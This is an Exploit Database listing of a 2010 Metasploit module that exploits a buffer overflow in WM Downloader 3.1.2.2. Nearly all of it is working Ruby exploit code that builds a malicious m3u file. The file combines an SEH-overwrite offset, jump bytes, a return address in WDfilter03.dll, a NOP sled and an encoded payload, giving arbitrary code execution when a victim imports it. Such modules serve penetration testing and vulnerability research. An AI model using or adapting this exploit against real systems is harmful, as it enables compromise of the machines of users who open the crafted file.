WM Downloader 3.1.2.2 – Local Buffer Overflow (Metasploit) (2)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16642/

• ##
  # $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
  				the application is used to import a specially crafted m3u file, a buffer overflow occurs
  				allowing arbitrary code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'fdisk', 	# Original Exploit
  					'dookie'	# MSF Module
  				],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'OSVDB', '66911'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x09\x0a",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jul 28 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		sploit = rand_text_alpha_upper(43480)	# Offset for WinXP
  		sploit << "\xeb\x20\x90\x90"		# Jump to the nops after the 2nd offset
  		sploit << [target.ret].pack('V')	# Offset
  		sploit << rand_text_alpha_upper(16)	# Pad to reach the Win7 Offset
  		sploit << "\xeb\x0C\x90\x90" 		# Jump over the cruft
  		sploit << [target.ret].pack('V')	# Offset
  		sploit << "\x90" * 8
  		sploit << payload.encoded
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(sploit)
  
  	end
  
  end